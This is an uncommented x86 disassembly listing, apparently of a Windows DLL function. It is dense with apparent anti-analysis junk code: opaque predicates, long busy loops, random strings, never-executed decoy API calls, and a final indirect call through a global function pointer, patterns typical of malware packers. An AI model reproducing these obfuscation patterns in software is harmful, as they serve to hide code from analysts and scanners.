cmp dword [ebp - 0x528], eax
je 0x10014fd6
mov dword [ebp - 0x7cc], 1
jmp 0x10014fdd
and dword [ebp - 0x7cc], 0
push dword [ebp - 0x18]
lea ecx, [ebp - 0x3e8]
call fcn.1000609d
mov ecx, dword [ebp - 0x7cc]
add ecx, dword [eax]
cmp dword [ebp - 0x90], ecx
jne 0x10015007
mov dword [ebp - 0x530], 1
jmp 0x1001500e
and dword [ebp - 0x530], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x530], eax
je 0x1001502a
xor eax, eax
inc eax
je 0x1001502a
mov dword [ebp - 0x6b0], 1
jmp 0x10015031
and dword [ebp - 0x6b0], 0
push dword [ebp - 0x18]
lea ecx, [ebp - 0x3e8]
call fcn.1000609d
mov ecx, dword [ebp - 0x6b0]
cmp ecx, dword [eax]
jg 0x10015055
mov dword [ebp - 0x538], 1
jmp 0x1001505c
and dword [ebp - 0x538], 0
mov eax, dword [ebp - 0x558]
mov dword [ebp - 0x210], eax
mov eax, dword [ebp - 0x210]
cmp eax, dword [ebp - 0x538]
je 0x10015082
mov dword [ebp - 0x770], 1
jmp 0x10015089
and dword [ebp - 0x770], 0
cmp dword [ebp - 0x770], 0xffff
ja 0x100150a2
xor eax, eax
jne 0x100150a2
and dword [ebp - 0x540], 0
jmp 0x100150ac
mov dword [ebp - 0x540], 1
cmp dword [ebp - 0x540], 0xa929efcf
jne 0x100150c4
mov dword [ebp - 0x6b8], 1
jmp 0x100150cb
and dword [ebp - 0x6b8], 0
mov eax, dword [ebp - 0x6b8]
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0xca0], eax
mov esi, dword [ebp - 0x90]
push dword [ebp - 0x18]
lea ecx, [ebp - 0x3e8]
call fcn.1000609d
cmp esi, dword [eax]
jge 0x10015107
mov dword [ebp - 0x7f4], 1
jmp 0x1001510e
and dword [ebp - 0x7f4], 0
mov dword [ebp - 0x548], 1
mov eax, dword [ebp - 0x548]
cmp eax, dword [ebp - 0x7f4]
jg 0x10015132
mov dword [ebp - 0x550], 1
jmp 0x10015139
and dword [ebp - 0x550], 0
cmp dword [ebp - 0x550], 2
jg 0x1001514e
mov dword [ebp - 0x6c0], 1
jmp 0x10015155
and dword [ebp - 0x6c0], 0
push dword [ebp - 0x18]
lea ecx, [ebp - 0x3e8]
call fcn.1000609d
mov ecx, dword [ebp - 0x6c0]
cmp ecx, dword [eax]
jl 0x10015179
mov dword [ebp - 0x778], 1
jmp 0x10015180
and dword [ebp - 0x778], 0
mov esi, dword [ebp - 0x558]
add esi, dword [ebp - 0x778]
push 0
lea ecx, [ebp - 0xc34]
call fcn.1000609d
add esi, dword [eax]
push dword [ebp - 0x18]
lea ecx, [ebp - 0x3e8]
call fcn.1000609d
cmp esi, dword [eax]
jne 0x100151b9
mov dword [ebp - 0x560], 1
jmp 0x100151c0
and dword [ebp - 0x560], 0
mov eax, dword [ebp - 0x8ac]
cmp dword [ebp - 0x560], eax
jg 0x100151da
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0xa68]
call fcn.10006098
jmp 0x10014ae2
mov byte [ebp - 0x9d], 0
movzx eax, byte [ebp - 0x9d]
test eax, eax
je 0x10015236
push 0
push 0x1e44
push 0x1e6d
push 0
call dword [sym.imp.GDI32.dll_GetPaletteEntries]
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x854]
call fcn.10006098
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3e8]
call fcn.10006098
and dword [ebp - 0x228], 0
jmp 0x1001526a
mov eax, dword [ebp - 0x228]
inc eax
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 0xd
jae 0x10015745
push 3
lea ecx, [ebp - 0xa78]
call fcn.10006036
mov dword [ebp - 4], 0x1b
mov dword [ebp - 0xec], 0xfffffffb
mov dword [ebp - 0x818], 4
mov dword [ebp - 0x300], 0
jmp 0x100152b8
mov eax, dword [ebp - 0x300]
inc eax
mov dword [ebp - 0x300], eax
cmp dword [ebp - 0x300], 3
jge 0x100152da
push dword [ebp - 0x300]
lea ecx, [ebp - 0xa78]
call fcn.1000609d
mov dword [eax], 0xbbca6318
jmp 0x100152ab
mov byte [ebp - 0xc6], 0
movzx eax, byte [ebp - 0xc6]
test eax, eax
je 0x100152f9
push 0
push 0xd1e
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov dword [ebp - 0xec], 0
jmp 0x10015312
mov eax, dword [ebp - 0xec]
inc eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 2
jg 0x10015721
mov dword [ebp - 0xdc], 0xb3e90a62
mov dword [ebp - 0x218], 0
jmp 0x10015342
mov eax, dword [ebp - 0x218]
inc eax
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 2
jge 0x1001535e
mov eax, dword [ebp - 0x218]
mov dword [ebp + eax*4 - 0xcf0], 0x74ca7790
jmp 0x10015335
mov dword [ebp - 0xdc], 0
jmp 0x10015377
mov eax, dword [ebp - 0xdc]
inc eax
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 2
jg 0x10015700
mov dword [ebp - 0x54], 0xffffffff
push 1
lea ecx, [ebp - 0xc10]
call fcn.10006036
mov byte [ebp - 4], 0x1c
mov dword [ebp - 0x8c4], 0xffffffff
mov dword [ebp - 0x2b8], 0
jmp 0x100153bf
mov eax, dword [ebp - 0x2b8]
inc eax
mov dword [ebp - 0x2b8], eax
cmp dword [ebp - 0x2b8], 1
jge 0x100153e1
push dword [ebp - 0x2b8]
lea ecx, [ebp - 0xc10]
call fcn.1000609d
mov dword [eax], 9
jmp 0x100153b2
mov dword [ebp - 0x54], 0
jmp 0x100153f1
cmp dword [ebp - 0x54], 2
jg 0x10015509
mov dword [ebp - 0x568], 0x13f4
mov dword [ebp - 0x8b8], str.yzsahlrl_dgm_pbpchg_ifbz_kqw_asqip
cmp dword [ebp - 0x568], 0x16a9
jle 0x10015492
and dword [ebp - 0x220], 0
jmp 0x10015431
cmp dword [ebp - 0x220], 0x7609
jge 0x10015492
and dword [ebp - 0x328], 0
jmp 0x10015453
mov byte [ebp - 0xc8], 0
mov byte [ebp - 4], 0x1d
cmp dword [ebp - 0x568], 0x1054
jge 0x100154b9
mov edx, dword [ebp - 0x8b8]
mov ecx, 0x1007cdd8
call fcn.100089dc
jmp 0x100154d5
mov dword [ebp - 4], 0x1c
jmp 0x100154e5
mov esi, dword [ebp - 0xec]
push dword [ebp - 0xdc]
lea ecx, [ebp - 0xa78]
call fcn.1000609d
cmp dword [eax], esi
jle 0x100156cc
mov dword [ebp - 0x6d8], 0xfffffffb
mov dword [ebp - 0x54], 2
jmp 0x10015542
cmp dword [ebp - 0x54], 0
jl 0x100156ca
mov dword [ebp - 0xa8c], 0xe07e
mov dword [ebp - 0x590], 0xfffffffa
cmp dword [ebp - 0x6d8], 0
jne 0x100156af
jmp 0x100156ec
mov dword [ebp - 0xa04], 0x58bbe58e
mov dword [ebp - 0x8d0], 0xffffffff
mov eax, dword [ebp - 0xa04]
mov dword [ebp - 0x8d0], eax
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0xc10]
call fcn.10006098
jmp 0x1001536a
mov byte [ebp - 0xa0], 0
movzx eax, byte [ebp - 0xa0]
test eax, eax
je 0x1001571c
push 0
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
jmp 0x10015305
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa78]
call fcn.10006098
xor eax, eax
mov ecx, dword [ebp - 0x228]
mov word [ebp + ecx*2 - 0xc78], ax
jmp 0x1001525d
mov dword [ebp - 0x30], 0xac204e2d
mov dword [ebp - 0x39c], 0x88753e1e
mov dword [ebp - 0xa0c], 0x87263b0a
mov dword [ebp - 0x30], 0xffffffe3
jmp 0x10015770
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xfffffff2
jge 0x1001591f
mov dword [ebp - 0x2c0], 0x5e17ca00
mov dword [ebp - 0x2c0], 0
jmp 0x1001579d
mov eax, dword [ebp - 0x2c0]
dec eax
mov dword [ebp - 0x2c0], eax
cmp dword [ebp - 0x2c0], 0xfffffff7
je 0x100157c7
mov byte [ebp - 0xa1], 0
movzx eax, byte [ebp - 0xa1]
test eax, eax
je 0x100157c5
push 0
push 0x1f28
call dword [sym.imp.USER32.dll_EndPaint]
jmp 0x10015790
mov byte [ebp - 0xc5], 0
mov dword [ebp - 0x598], 0x1f9f
mov dword [ebp - 0x8dc], str.mmnicch_dtvt_ltzb_npsqdiis_ycdwmw_ugkwjkxyl_zdeewoq_vuf_ztkl_mjkecbxxv_oqyhhfjy_lyqg
cmp dword [ebp - 0x598], 0x2090
jle 0x100158ab
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
and dword [ebp - 0x230], 0
jmp 0x10015812
mov eax, dword [ebp - 0x230]
inc eax
mov dword [ebp - 0x230], eax
cmp dword [ebp - 0x230], 0x51f0
jge 0x100158a3
and dword [ebp - 0x308], 0
jmp 0x10015838
mov eax, dword [ebp - 0x308]
inc eax
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 0x1165
jge 0x1001589e
mov eax, dword [ebp - 0x230]
cdq
idiv dword [ebp - 0x308]
mov eax, edx
cdq
mov dword [ebp - 0x8f0], eax
mov dword [ebp - 0x8ec], edx
push dword [ebp - 0x8ec]
push dword [ebp - 0x8f0]
lea ecx, [ebp - 0xf54]
call fcn.10001a84
pop ecx
pop ecx
mov dword [ebp - 0xa4c], eax
mov ecx, dword [ebp - 0xa4c]
call fcn.10005d07
push eax
call fcn.10048acd
pop ecx
lea ecx, [ebp - 0xf54]
call fcn.10005cfd
jmp 0x1001582b
jmp 0x10015805
push 0
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, byte [ebp - 0xc5]
test eax, eax
je 0x100158d5
push 0
push 0
push 0x30d
push 0
push 0xef8
push 0
push 0
push 0x1d5b
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 4], 0x1f
cmp dword [ebp - 0x598], 0x1d71
jge 0x100158f4
push dword [ebp - 0x8dc]
call fcn.10048acd
pop ecx
jmp 0x10015910
or dword [ebp - 4], 0xffffffff
jmp 0x1001591a
jmp 0x10015769
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xca8], eax
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x30]
jne 0x1001593c
mov dword [ebp - 0x788], 1
jmp 0x10015943
and dword [ebp - 0x788], 0
mov eax, dword [ebp - 0x30]
sub eax, dword [ebp - 0x39c]
add eax, dword [ebp - 0x30]
sub eax, dword [ebp - 0x39c]
mov ecx, dword [ebp - 0x788]
sub ecx, eax
add ecx, 0xe022
mov dword [ebp - 0x30], ecx
je 0x1001597d
mov eax, 0xd2cc
test eax, eax
je 0x1001597d
mov dword [ebp - 0x5a0], 1
jmp 0x10015984
and dword [ebp - 0x5a0], 0
cmp dword [ebp - 0x5a0], 1
jge 0x10015999
mov dword [ebp - 0x6e8], 1
jmp 0x100159a0
and dword [ebp - 0x6e8], 0
cmp dword [ebp - 0x6e8], 0xf703c576
ja 0x100159b8
mov dword [ebp - 0x5a8], 1
jmp 0x100159bf
and dword [ebp - 0x5a8], 0
mov eax, dword [ebp - 0x39c]
cmp dword [ebp - 0x5a8], eax
jle 0x100159d9
mov dword [ebp - 0x7dc], 1
jmp 0x100159e0
and dword [ebp - 0x7dc], 0
mov eax, dword [ebp - 0x7dc]
mov dword [ebp - 0xa0c], eax
cmp dword [ebp - 0x72c], 0
je 0x1001892b
mov dword [ebp - 0x70], 2
push 1
lea ecx, [ebp - 0xac4]
call fcn.10006036
mov dword [ebp - 4], 0x21
mov dword [ebp - 0x238], 0
jmp 0x10015a2d
mov eax, dword [ebp - 0x238]
inc eax
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 1
jge 0x10015a4f
push dword [ebp - 0x238]
lea ecx, [ebp - 0xac4]
call fcn.1000609d
mov dword [eax], 1
jmp 0x10015a20
cmp dword [ebp - 0x70], 1
jbe 0x10015a61
mov dword [ebp - 0x5b0], 1
jmp 0x10015a68
and dword [ebp - 0x5b0], 0
mov eax, dword [ebp - 0x70]
cmp eax, dword [ebp - 0x70]
jge 0x10015a83
push 0xfffffffffffffffa
pop eax
test eax, eax
je 0x10015a83
mov dword [ebp - 0x6f0], 1
jmp 0x10015a8a
and dword [ebp - 0x6f0], 0
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x5b8], eax
push 0
lea ecx, [ebp - 0xac4]
call fcn.1000609d
mov ecx, dword [ebp - 0x5b8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x6f0]
inc eax
imul eax, dword [ebp - 0x5b8]
test eax, eax
je 0x10015c8a
mov eax, 0xfb0b
test eax, eax
je 0x10015c8a
push 3
lea ecx, [ebp - 0xbbc]
call fcn.10006036
mov byte [ebp - 4], 0x22
mov dword [ebp - 0x2c8], 0
jmp 0x10015af5
cmp dword [ebp - 0x2c8], 3
jge 0x10015b17
push dword [ebp - 0x2c8]
lea ecx, [ebp - 0xbbc]
call fcn.1000609d
mov dword [eax], 1
jmp 0x10015ae8
mov dword [ebp - 0x790], 0x76c9
mov dword [ebp - 0x988], str.ixqbtyecj_wazynxfn_kvdjdk_joqqlp_csngs_afxzagx_uxxzoqfr_uivqgu_nzrekdr
cmp dword [ebp - 0x790], 0x79b4
jle 0x10015c11
mov dword [ebp - 0x8f4], 0xa81a82e7
mov dword [ebp - 0x990], 6
mov dword [ebp - 0x70], 0
jmp 0x10015cae
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0
jg 0x10015cc2
mov eax, dword [ebp - 0x8f4]
mov dword [ebp - 0x990], eax
jmp 0x10015ca7
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xac4]
call fcn.10006098
mov dword [ebp - 0x3a4], 0x3c7730f9
mov dword [ebp - 0x2d8], 9
mov dword [ebp - 0x3cc], 0x526c7153
mov dword [ebp - 0x998], 0x9cbc21b0
mov dword [ebp - 0x5f8], 0x9af3922c
mov dword [ebp - 0x2d0], 0
jmp 0x10015d1c
cmp dword [ebp - 0x2d0], 3
jge 0x10015d38
mov dword [ebp - 0x9bc], 1
mov dword [ebp - 0x2ac], 0
jmp 0x1001894e
mov eax, dword [ebp - 0x2ac]
inc eax
mov dword [ebp - 0x2ac], eax
cmp dword [ebp - 0x2ac], 2
jge 0x1001896a
mov eax, dword [ebp - 0x2ac]
mov dword [ebp + eax*4 - 0x840], 0x68ec0ae9
jmp 0x10018941
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x840], 0xffffffeb
jmp 0x10018998
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x840]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x840], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x840], 0x14
jl 0x10018a0b
mov dword [ebp - 0x2b4], 0xe57bf5cd
mov byte [ebp - 0xc7], 0
movzx eax, byte [ebp - 0xc7]
test eax, eax
je 0x100189cc
push 0
call dword [sym.imp.KERNEL32.dll_TlsFree]
mov dword [ebp - 0x2b4], 0x15
jmp 0x100189e5
mov eax, dword [ebp - 0x2b4]
dec eax
mov dword [ebp - 0x2b4], eax
cmp dword [ebp - 0x2b4], 1
jge 0x10018a06
mov dword [ebp - 0xa24], 0xffffffff
mov eax, dword [ebp - 0xa24]
mov dword [ebp - 0x9bc], eax
jmp 0x100189d8
jmp 0x1001897d
mov byte [ebp - 0xaa], 0
movzx eax, byte [ebp - 0xaa]
test eax, eax
je 0x10018a25
push 0
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
cmp dword [0x108200fc], 0
je 0x10019141
mov dword [ebp - 0xf0], 1
mov dword [ebp - 0xe8], 5
mov dword [ebp - 0x73c], 0xfffffff6
mov dword [ebp - 0x2bc], 0
jmp 0x10018a69
mov eax, dword [ebp - 0x2bc]
inc eax
mov dword [ebp - 0x2bc], eax
cmp dword [ebp - 0x2bc], 2
jge 0x10018a85
mov eax, dword [ebp - 0x2bc]
mov dword [ebp + eax*4 - 0xcfc], 0xfffffffd
jmp 0x10018a5c
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 0
ja 0x10018aa6
mov dword [ebp - 0x734], 1
jmp 0x10018aad
and dword [ebp - 0x734], 0
mov eax, dword [ebp - 0x734]
mov dword [ebp - 0x73c], eax
cmp dword [ebp - 0x73c], 0
je 0x10018b5d
mov dword [ebp - 0xc5c], 1
mov dword [ebp - 0xc58], 1
mov dword [ebp - 0xc54], 1
mov dword [ebp - 0xc50], 1
mov dword [ebp - 0xe8], 1
jmp 0x10018b07
mov eax, dword [ebp - 0xe8]
dec eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 0
jl 0x10018b58
mov dword [ebp - 0xf0], 0
jmp 0x10018b29
mov eax, dword [ebp - 0xf0]
inc eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 2
jge 0x10018b45
mov eax, dword [ebp - 0xf0]
mov dword [ebp + eax*4 - 0xcfc], 0xffffffff
jmp 0x10018b1c
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xc5c], 0
je 0x10018b56
jmp 0x10018b58
jmp 0x10018afa
jmp 0x10018d1a
mov byte [ebp - 0xc1], 0
movzx eax, byte [ebp - 0xc1]
test eax, eax
je 0x10018bab
push 0
push 0x1912
push 0xb2
push 0
push 0x908
push 0xae2
push 0x327
push 0x125f
push 0x6b6
push 0x232f
push 0x88f
push 0x17f4
call dword [sym.imp.GDI32.dll_MaskBlt]
mov byte [ebp - 0xb2], 0
movzx eax, byte [ebp - 0xb2]
test eax, eax
je 0x10018d1a
mov dword [ebp - 0x744], 0x48d3
mov dword [ebp - 0xa6c], str.fchs_mttql_txm_kozuvx_aduuyet_asbruncd
cmp dword [ebp - 0x744], 0x4ba6
jle 0x10018cbe
and dword [ebp - 0x2dc], 0
jmp 0x10018bfb
mov eax, dword [ebp - 0x2dc]
inc eax
mov dword [ebp - 0x2dc], eax
cmp dword [ebp - 0x2dc], 0x48be
jge 0x10018cbe
and dword [ebp - 0x2d4], 0
jmp 0x10018c21
mov eax, dword [ebp - 0x2d4]
inc eax
mov dword [ebp - 0x2d4], eax
cmp dword [ebp - 0x2d4], 0x2a0
jge 0x10018cb9
and dword [ebp - 0x2c4], 0
jmp 0x10018c47
mov eax, dword [ebp - 0x2c4]
inc eax
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 0x26b6
jge 0x10018cb4
and dword [ebp - 0x2cc], 0
jmp 0x10018c69
mov eax, dword [ebp - 0x2cc]
inc eax
mov dword [ebp - 0x2cc], eax
cmp dword [ebp - 0x2cc], 0x2ff2
jge 0x10018cb2
mov eax, dword [ebp - 0x2c4]
add eax, dword [ebp - 0x2cc]
and eax, dword [ebp - 0x2d4]
xor eax, dword [ebp - 0x2dc]
cdq
mov dword [ebp - 0x968], eax
mov dword [ebp - 0x964], edx
push dword [ebp - 0x964]
push dword [ebp - 0x968]
mov ecx, 0x1007cdd8
call fcn.10005d27
jmp 0x10018c5c
jmp 0x10018c3a
jmp 0x10018c14
jmp 0x10018bee
push 0
push 0
push 0x6e2
push 0
push 0
call dword [sym.imp.USER32.dll_CreateDialogParamA]
mov dword [ebp - 4], 0x41
cmp dword [ebp - 0x744], 0x45eb
jge 0x10018cf4
mov edx, dword [ebp - 0xa6c]
mov ecx, 0x1007cdd8
call fcn.100089dc
jmp 0x10018d10
or dword [ebp - 4], 0xffffffff
jmp 0x10018d1a
mov eax, dword [ebp + 8]
mov dword [ebp - 0x9c4], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xa2c], eax
mov eax, dword [ebp - 0x9c4]
mov dword [ebp - 0xa34], eax
mov dword [ebp - 0x2e4], 0xffffffff
mov dword [ebp - 0xcd0], 0xfaaaeb9a
mov dword [ebp - 0xcdc], 0xdbda7fe6
mov dword [ebp - 0xd04], 0xa18e418a
mov dword [ebp - 0x74c], 0x2301
mov dword [ebp - 0x48], 0
jmp 0x10018d7a
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 3
jge 0x10018d90
mov eax, dword [ebp - 0x48]
mov dword [ebp + eax*4 - 0xf18], 0xffffffff
jmp 0x10018d73
mov dword [ebp - 0x48], 0
jmp 0x10018da0
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 2
jge 0x10018db6
mov eax, dword [ebp - 0x48]
mov dword [ebp + eax*4 - 0xe4c], 0x14b58e17
jmp 0x10018d99
mov dword [ebp - 0x2e4], 0
jmp 0x10018dcf
mov eax, dword [ebp - 0x2e4]
inc eax
mov dword [ebp - 0x2e4], eax
cmp dword [ebp - 0x2e4], 2
jg 0x10018e88
mov dword [ebp - 0xd0c], 0xfffffff6
mov dword [ebp - 0xd84], 0x921ded68
mov dword [ebp - 0xd8c], 1
mov dword [ebp - 0xd94], 8
mov dword [ebp - 0xd9c], 0xc8100c43
mov dword [ebp - 0xba4], 0x83c67ee3
mov dword [ebp - 0xba0], 0x83c67ee3
mov dword [ebp - 0xb9c], 0x83c67ee3
mov dword [ebp - 0xb98], 0x83c67ee3
lea ecx, [ebp - 0x3b5]
call fcn.100060ac
push eax
lea eax, [ebp - 0xb94]
push eax
lea eax, [ebp - 0xba4]
push eax
lea ecx, [ebp - 0xea4]
call fcn.100060af
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xe1c]
call fcn.10006072
mov eax, dword [ebp - 0x74c]
inc eax
mov dword [ebp - 0x74c], eax
lea ecx, [ebp - 0xe1c]
call fcn.10006098
jmp 0x10018dc2
mov eax, dword [ebp - 0xa2c]
mov dword [ebp - 0x9d4], eax
mov dword [ebp - 0x754], 0x2048
mov dword [ebp - 0xaa4], str.arvex_wtfi_hblio_znafrfva_wjrqcfcom
cmp dword [ebp - 0x754], 0x21fd
jle 0x10018f8d
and dword [ebp - 0x2ec], 0
jmp 0x10018ece
mov eax, dword [ebp - 0x2ec]
inc eax
mov dword [ebp - 0x2ec], eax
cmp dword [ebp - 0x2ec], 0x31c1
jge 0x10018f8d
and dword [ebp - 0x2f4], 0
jmp 0x10018ef4
mov eax, dword [ebp - 0x2f4]
inc eax
mov dword [ebp - 0x2f4], eax
cmp dword [ebp - 0x2f4], 0x6bd2
jge 0x10018f88
and dword [ebp - 0x2fc], 0
jmp 0x10018f1a
mov eax, dword [ebp - 0x2fc]
inc eax
mov dword [ebp - 0x2fc], eax
cmp dword [ebp - 0x2fc], 0x871
jge 0x10018f83
mov eax, dword [ebp - 0x2ec]
sub eax, dword [ebp - 0x2f4]
and eax, dword [ebp - 0x2fc]
cdq
mov dword [ebp - 0x974], eax
mov dword [ebp - 0x970], edx
push dword [ebp - 0x970]
push dword [ebp - 0x974]
lea ecx, [ebp - 0xef4]
call fcn.10001a84
pop ecx
pop ecx
mov dword [ebp - 0x9cc], eax
mov ecx, dword [ebp - 0x9cc]
call fcn.10005d07
push eax
call fcn.10048acd
pop ecx
lea ecx, [ebp - 0xef4]
call fcn.10005cfd
jmp 0x10018f0d
jmp 0x10018ee7
jmp 0x10018ec1
mov dword [ebp - 0x30c], 0x68ec0ae9
mov dword [ebp - 4], 0x43
cmp dword [ebp - 0x754], 0x1ebb
jge 0x10018fb6
push dword [ebp - 0xaa4]
call fcn.10048acd
pop ecx
jmp 0x10018fd2
or dword [ebp - 4], 0xffffffff
jmp 0x10018fdc
mov dword [ebp - 0xaf0], 0xfffffffb
mov dword [ebp - 0xaec], 0xfffffffb
mov dword [ebp - 0xae8], 0xfffffffb
mov dword [ebp - 0xae4], 0xfffffffb
mov dword [ebp - 0xda4], 0xf2d3f504
mov dword [ebp - 0x304], 0
jmp 0x10019027
mov eax, dword [ebp - 0x304]
inc eax
mov dword [ebp - 0x304], eax
cmp dword [ebp - 0x304], 3
jge 0x10019043
mov eax, dword [ebp - 0x304]
mov dword [ebp + eax*4 - 0xf3c], 0xec541651
jmp 0x1001901a
mov dword [ebp - 0x30c], 0
jmp 0x1001905c
mov eax, dword [ebp - 0x30c]
dec eax
mov dword [ebp - 0x30c], eax
cmp dword [ebp - 0x30c], 0xffffffe3
jne 0x10019103
mov dword [ebp - 0x314], 0
jmp 0x10019082
mov eax, dword [ebp - 0x314]
inc eax
mov dword [ebp - 0x314], eax
cmp dword [ebp - 0x314], 1
jge 0x1001909e
mov eax, dword [ebp - 0x314]
mov dword [ebp + eax*4 - 0x31c], 0xfffffff7
jmp 0x10019075
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x31c], 0x14
jmp 0x100190cc
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x31c]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x31c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x31c], 0x1b
jl 0x100190fe
mov byte [ebp - 0x9e], 0
movzx eax, byte [ebp - 0x9e]
test eax, eax
je 0x100190fc
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
jmp 0x100190b1
jmp 0x1001904f
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xaf0]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xaf0], eax
push dword [ebp - 0x9d4]
push dword [ebp - 0xa34]
call dword [0x108200fc]
mov dword [ebp - 0x86c], eax
mov eax, dword [ebp - 0x86c]
jmp 0x100194c0
mov dword [ebp - 0x84], 0
mov dword [ebp - 0x88], 2
mov dword [ebp - 0xb90], 3
mov dword [ebp - 0xb8c], 3
mov dword [ebp - 0xb88], 3
mov dword [ebp - 0xb84], 3
lea ecx, [ebp - 0x3a5]
call fcn.100060ac
push eax
lea eax, [ebp - 0xb80]
push eax
lea eax, [ebp - 0xb90]
push eax
lea ecx, [ebp - 0xe6c]
call fcn.100060af
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xbc8]
call fcn.10006072
mov dword [ebp - 4], 0x45
mov dword [ebp - 0x75c], 0x54a4
mov dword [ebp - 0x870], str.qxm_jlgmt_rptbmvk_hqzht_rhdpgcsf_mrcvouur_hbmlrzuzt
cmp dword [ebp - 0x75c], 0x587a
jle 0x100192b9
and dword [ebp - 0x334], 0
jmp 0x100191f3
mov eax, dword [ebp - 0x334]
inc eax
mov dword [ebp - 0x334], eax
cmp dword [ebp - 0x334], 0x15b3
jge 0x100192b9
and dword [ebp - 0x324], 0
jmp 0x10019219
mov eax, dword [ebp - 0x324]
inc eax
mov dword [ebp - 0x324], eax
cmp dword [ebp - 0x324], 0x6e01
jge 0x100192b4
and dword [ebp - 0x32c], 0
jmp 0x1001923f
mov eax, dword [ebp - 0x32c]
inc eax
mov dword [ebp - 0x32c], eax
cmp dword [ebp - 0x32c], 0x1f65
jge 0x100192af
and dword [ebp - 0x33c], 0
jmp 0x10019261
mov eax, dword [ebp - 0x33c]
inc eax
mov dword [ebp - 0x33c], eax
cmp dword [ebp - 0x33c], 0x40be
jge 0x100192ad
mov eax, dword [ebp - 0x324]
cdq
idiv dword [ebp - 0x32c]
mov eax, dword [ebp - 0x334]
sub eax, edx
and eax, dword [ebp - 0x33c]
cdq
mov dword [ebp - 0x980], eax
mov dword [ebp - 0x97c], edx
push dword [ebp - 0x97c]
push dword [ebp - 0x980]
mov ecx, 0x1007cdd8
call fcn.10005d27
jmp 0x10019254
jmp 0x10019232
jmp 0x1001920c
jmp 0x100191e6
mov byte [ebp - 0x9f], 0
mov byte [ebp - 4], 0x46
cmp dword [ebp - 0x75c], 0x532d
jge 0x100192e0
mov edx, dword [ebp - 0x870]
mov ecx, 0x1007cdd8
call fcn.100089dc
jmp 0x100192fc
mov dword [ebp - 4], 0x45
jmp 0x1001930c
movzx eax, byte [ebp - 0x9f]
test eax, eax
je 0x10019329
push 0x21e0
push 0x1d6d
push 0
call dword [sym.imp.USER32.dll_InflateRect]
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0xdac], eax
cmp dword [ebp - 0x84], 0
jl 0x1001934a
mov dword [ebp - 0x76c], 1
jmp 0x10019351
and dword [ebp - 0x76c], 0
cmp dword [ebp - 0x84], 0x8100
jg 0x10019369
mov dword [ebp - 0x764], 1
jmp 0x10019370
and dword [ebp - 0x764], 0
mov eax, dword [ebp - 0x764]
sub eax, dword [ebp - 0x84]
cmp dword [ebp - 0x76c], eax
jle 0x10019390
mov dword [ebp - 0x774], 1
jmp 0x10019397
and dword [ebp - 0x774], 0
mov eax, dword [ebp - 0x774]
neg eax
jne 0x100193bc
cmp dword [ebp - 0x84], 0
jne 0x100193bc
cmp dword [ebp - 0x84], 0
jne 0x100193bc
and dword [ebp - 0x77c], 0
jmp 0x100193c6
mov dword [ebp - 0x77c], 1
mov eax, dword [ebp - 0x88]
cmp dword [ebp - 0x77c], eax
jge 0x100193e0
mov dword [ebp - 0x784], 1
jmp 0x100193e7
and dword [ebp - 0x784], 0
mov eax, dword [ebp - 0x88]
cmp dword [ebp - 0x784], eax
je 0x10019401
mov dword [ebp - 0x78c], 1
jmp 0x10019408
and dword [ebp - 0x78c], 0
mov eax, dword [ebp - 0x78c]
sub eax, dword [ebp - 0x88]
add eax, dword [ebp - 0x84]
mov dword [ebp - 0x794], eax
push 1
lea ecx, [ebp - 0xbc8]
call fcn.1000609d
